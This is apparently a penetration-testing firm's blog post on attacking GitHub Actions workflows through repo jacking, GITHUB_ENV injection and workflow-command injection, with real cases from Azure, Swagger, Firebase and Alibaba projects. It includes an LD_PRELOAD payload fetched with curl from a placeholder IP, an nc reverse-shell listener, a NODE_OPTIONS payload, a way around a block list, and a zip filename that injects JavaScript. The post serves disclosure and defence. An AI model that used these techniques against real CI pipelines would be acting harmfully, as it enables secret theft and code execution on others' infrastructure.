GitHub Actions exploitation: repo jacking and environment manipulation

Written by Hugo Vincent - 10/07/2024 - in Pentest - Download

In the previous article, we highlighted three common misconfigurations in GitHub workflows that can be leveraged to obtain write access to the targeted repository or extract sensitive secrets. We illustrated these vulnerabilities using real-world instances from popular open-source projects such as Microsoft, FreeRDP, AutoGPT, Excalidraw, Angular, Apache, Cypress and others. We also present octoscan a static vulnerability scanner for GitHub action workflows.

In this article, we will again outline three common misconfigurations that can be exploited to gain write access to the targeted repository or extract sensitive secrets. For each misconfiguration we will explain it with a real vulnerability that we found on open source projects like Azure, Swagger, Firebase and Alibaba.

Repo Jacking

The repo jacking vulnerability was presented1 at DEFCON 31 by Asi Greenholts. This vulnerability occurs when a GitHub action is referencing an action on a non-existing GitHub organization or user. For example:

name: "Build Images"
on: 
  push:

jobs:
  init:
    runs-on: ubuntu-latest
    name: "init"
    steps:
       - uses: non-existing-org/checkout-action

A malicious user could claim the non-existing-org GitHub organization and create the checkout-action in this organization. This would result in arbitrary code execution inside this workflow.

This vulnerability is quite rare and difficult to exploit as GitHub is aware of it. Indeed, from this article2:

To protect against repojacking, GitHub employs a security mechanism that disallows the registration of previous repository names with 100 clones in the week before renaming or deleting the owner's account.

We found this vulnerability on an Azure repository:

File: fork-on-push-brm-generate.yml
46:       - uses: jungwinter/split@master
47:         id: branch
48:         with:
49:           msg: ${{ needs.get-module-to-validate.outputs.module_dir }}
50:           separator: "/"
51:           maxsplit: -1

The jungwinter user does not exist anymore, so we registered it and tried to create the split repository, however it failed with the following error message:

Repo jacking.

It seems that the user has moved this repository to a new account:

$ curl -kIs https://github.com/jungwinter/split 
HTTP/1.1 200 Connection established

HTTP/2 301 
server: GitHub.com
location: https://github.com/winterjung/split
[...]

Our tool octoscan3 can detect this vulnerability, since we registered jungwinter, the tool won't detect it, so here is an example on another project:

octoscan repo jacking

Dangerous write

GitHub will create default environment variables that can be used inside every step in a workflow. The GITHUB_ENV and GITHUB_OUTPUT variables are particularly interesting.

It is possible to define environment variable in a step and use it in another one. This can be done by writing it to the GITHUB_ENV variable:

echo "{environment_variable_name}={value}" >> "$GITHUB_ENV"

This variable points to a local path on the runner. This file is unique to the current step and changes for each step in a job. For example:

steps:
  - name: Set the value
    run: |
      echo "MYVAR=cicd is cool" >> "$GITHUB_ENV"
  - name: Use the value
    run: |
      echo "$MYVAR"

However, if a user can control the name or the value of the environment variable that is being set it can lead to arbitrary code execution. Multiple examples of this vulnerability have already been found like here4.

We found a similar issue in the swagger-editor repository in the docker-build-push.yml workflow. The latter is configured with a workflow_run trigger:

4: on:
5:   workflow_run:
6:     workflows: ["Release SwaggerEditor@next"]
7:     types:
8:       - completed
9:     branches: [next]

Some artifacts are then downloaded from the triggering workflow:

47:       - name: Determine released version
48:         uses: actions/github-script@v7
49:         with:
50:           script: |
51:             const allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
52:                owner: context.repo.owner,
53:                repo: context.repo.repo,
54:                run_id: context.payload.workflow_run.id,
55:             });
56:             const matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
57:               return artifact.name == "released-version"
58:             })[0];
59:             const download = await github.rest.actions.downloadArtifact({
60:                owner: context.repo.owner,
61:                repo: context.repo.repo,
62:                artifact_id: matchArtifact.id,
63:                archive_format: 'zip',
64:             });
65:             const fs = require('fs');
66:             fs.writeFileSync('${{github.workspace}}/released-version.zip', Buffer.from(download.data));

Finally, the release version is written to the GITHUB_ENV variable:

67:       - run: |
68:           unzip released-version.zip
69:           RELEASED_VERSION=$(cat released-version.txt)
70:           echo "RELEASED_VERSION=$RELEASED_VERSION" >> $GITHUB_ENV

A malicious user could deploy the following workflow to be able to set arbitrary environment variables:

steps:
  - name: Set the value
    run: |
      echo "version" > released-version.txt
      echo "INJECT_ENV=injection value" >> released-version.txt
  - name: Upload released version
    uses: actions/upload-artifact@v4
    with:
      name: released-version
      path: ./released-version.txt

This would result in the INJECT_ENV variable being set:

Arbitrary environment variable injection.

As described in the article, Linux has many special environment variables that control how programs behave, which we can abuse to execute arbitrary code. In their example they used the NODE_OPTIONS environment variable and this technique was already exploited5 in 2020 by a researcher from the Project Zero security team.

The NODE_OPTIONS environment variable allows to specify a string of command-line arguments that will be applied by default whenever initiating a new Node process. This capability provides a convenient and standardized method for configuring default command-line settings for Node processes across an application. The GitHub runner will then use this variable in all subsequent processes. This variable is well known and can result in arbitrary command execution:

NODE_OPTIONS="--experimental-modules --experimental-loader=data:text/javascript,console.log('injection');"

However, in recent version of the GitHub runner, GitHub explicitly prohibits the usage of this variable when setting environment variables, using a block-list:

File: ActionCommandManager.cs
295:         private string[] _setEnvBlockList =
296:         {
297:             "NODE_OPTIONS"
298:         };

This block-list approach can easily be bypassed, For example we can use the LD_PRELOAD environment variable. Other techniques can be found in this article6.

Here is the modified version of the triggering workflow to get arbitrary code execution:

- name: Set the value
  run: |
            mkdir released-version
            echo -e 'null\nLD_PRELOAD=/home/runner/work/RD_swg/RD_swg/inject.so' > released-version/released-version.txt
            curl http://ip.ip.ip.ip/inject.so -o released-version/inject.so
            ...

- name: Upload released version
  uses: actions/upload-artifact@v4
  with:
    name: released-version
    path: released-version/

In this example the malicious inject.so shared library will be linked via the LD_PRELOAD environment variable. This way all future processes will load it.

The artifact will contain the 2 malicious files:

$ unzip -l released-version.zip
Archive:  released-version.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    16512  2024-04-21 20:39   inject.so
       58  2024-04-21 20:39   released-version.txt
---------                     -------
    16570                     2 files

When the vulnerable workflow is triggered a reverse shell can be obtained:

$ rlwrap nc -lvp 15967
$ id
uid=1001(runner) gid=127(docker) groups=127(docker),4(adm),101(systemd-journal)
injected .so

In this example attackers could gain access to the following secrets:

File: docker-build-push.yml
78:       - name: Log in to DockerHub
79:         uses: docker/login-action@v3
80:         with:
81:           username: ${{ secrets.DOCKERHUB_SB_USERNAME }}
82:           password: ${{ secrets.DOCKERHUB_SB_PASSWORD }}

But they will not be able to push arbitrary code to the repository as the GITHUB_TOKEN will not have write access since it comes from a workflow_run triggered by a fork.

Here is the output of octoscan on the vulnerable workflow:

dangerous write.

Workflow commands

Actions possess the capability to interact with the runner machine, enabling them to set environment variables, define output values for use by other actions, incorporate debug messages into output logs, and perform various other tasks.

The majority of workflow commands use the echo command in a specific format like this:

echo "::workflow-command parameter1={data},parameter2={data}::{command value}"

Others are triggered by writing to a file like GITHUB_ENV and GITHUB_OUTPUT.

However, before 2020, it was possible to control environment variables with the echo way like this:

run: |
   echo "##[set-env name=ENV_NAME;]value"
   # or
   echo "echo "::set-env name=ENV_NAME::value"

The implemented workflow commands were inherently insecure due to the common practice of logging to STDOUT. This vulnerability opened avenues for potential attacks, allowing malicious payloads to be easily injected and trigger the set-env command. The ability to modify environment variables introduced multiple paths for remote code execution, with a particularly obvious payload being the one demonstrated earlier. This security concern underlines the importance of adopting robust measures to prevent unauthorized manipulation of environment variables and to mitigate the risk of malicious payloads. This vulnerability was initially reported by a security researcher from Project Zero.

GitHub decided to prohibit the set-env workflow command in 20207 but the set-output command is still available while being deprecated.

In 2022 a security researcher found4 a vulnerability in a workflow of the codelab-friendlychat-android and friendlyeats-web repositories from the Firebase organization. The preview_deploy.yml workflow was downloading untrusted artifacts and setting environment variables based on the received data:

- name: 'Download artifact'
    uses: actions/github-script@v3.1.0
    with:
        script: |
        var artifacts = await github.actions.listWorkflowRunArtifacts({
        [...]
        fs.writeFileSync('${{github.workspace}}/pr_number.txt', downloadPrNumber);
        fs.writeFileSync('${{github.workspace}}/firebase-android.zip', Buffer.from(downloadPreview.data));
- run: |
    unzip pr.zip
    echo "pr_number=$(cat NR)" >> $GITHUB_ENV
    mkdir firebase-android
    unzip firebase-android.zip -d firebase-android

As explained in the previous section, this can be easily exploited. The Firebase team fixed the issue with the following code:

- id: unzip
  run: |
    set -eou pipefail
    pr_number=$(cat -e pr_number.txt)
    pr_number=${pr_number%?}
    pr_length=${#pr_number}
    only_numbers_re="^[0-9]+$"
    if ! [[ $pr_length <= 10 && $pr_number =~ $only_numbers_re ]] ; then
      echo "invalid PR number"
      exit 1
    fi
    echo "::set-output name=pr_number::$pr_number"
    mkdir firebase-android
    unzip firebase-android.zip -d firebase-android

Here this script checks that the PR number received in pr_number.txt only contains numeric characters. The set-output command is then employed and the output value is finally used in a GitHub script action with the expression ${{ steps.unzip.outputs.pr_number }}:

- name: Write Comment
  uses: actions/github-script@v3
  with:
    github-token: ${{ secrets.GITHUB_TOKEN }}
    script: |
      await github.issues.createComment({
        owner: context.repo.owner,
        repo: context.repo.repo,
        issue_number: ${{ steps.unzip.outputs.pr_number }},
        body: 'View preview ${{ steps.deploy_preview.outputs.details_url }}'
      });

We managed to bypass the fix of the Firebase team by leveraging the set-output workflow command and the expression injection since the ${{ steps.unzip.outputs.pr_number }} value is concatenated in the script.

The trick here is to use the fact that the unzip command will log the name of the files that are decompressed to STDOUT. This means that by controlling STDOUT in the unzip step one can modify the value of pr_number. This is possible by crafting a malicious zip file with the following content:

$ unzip -l steps.zip 
Archive:  steps.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2023-12-26 15:46   steps/
        8  2023-12-26 15:46   steps/Hello ##[set-output name=pr_number;]'end'}); console.log('pwn') ; console.log({console
---------                     -------
        8                     2 files

The pr_number variable will be equal to 'end'}); console.log('pwn') ; console.log({console which will be concatenated in the Write Comment step, allowing arbitrary JavaScript code execution:

Arbitrary code execution.

Note that this vulnerability was found with octoscan, here this vulnerability is the result of 2 problems in the vulnerable workflow:

octoscan firebase.

Although the set-env command is deprecated and unusable by default, if a developer sets the ACTIONS_ALLOW_UNSECURE_COMMANDS environment variable in a workflow, the set-env command becomes available and can be used.

We found this vulnerability in the nacos repository of the Alibaba organization. The workflow pr-e2e-test.yml defines the ACTIONS_ALLOW_UNSECURE_COMMANDS variable:

env:
  DOCKER_REPO: wuyfeedocker/nacos-ci
  ACTIONS_ALLOW_UNSECURE_COMMANDS: true

An artifact is then downloaded and unzip:

      - run: |
          unzip nacos.zip
          mkdir nacos
          cp -r nacos-* nacos/

The same payload used in the previous example could be employed. Instead of relying on set-output, the set-env command can be utilized. By leveraging the exploitation technique outlined in the previous article, it could lead to arbitrary code execution in the runner. Unfortunately for us this was fixed before we could report it to the Alibaba security team.

Conclusion

As the previous article we highlighted three common misconfigurations in GitHub workflows that can be leveraged to attain write access to the targeted repository or extract sensitive secrets. We illustrated these defects using real-world instances from open-source projects belonging to Swagger, Microsoft, Google and Alibaba. In the next blogpost, we will explore one last attack vector leading to similar consequences or worse.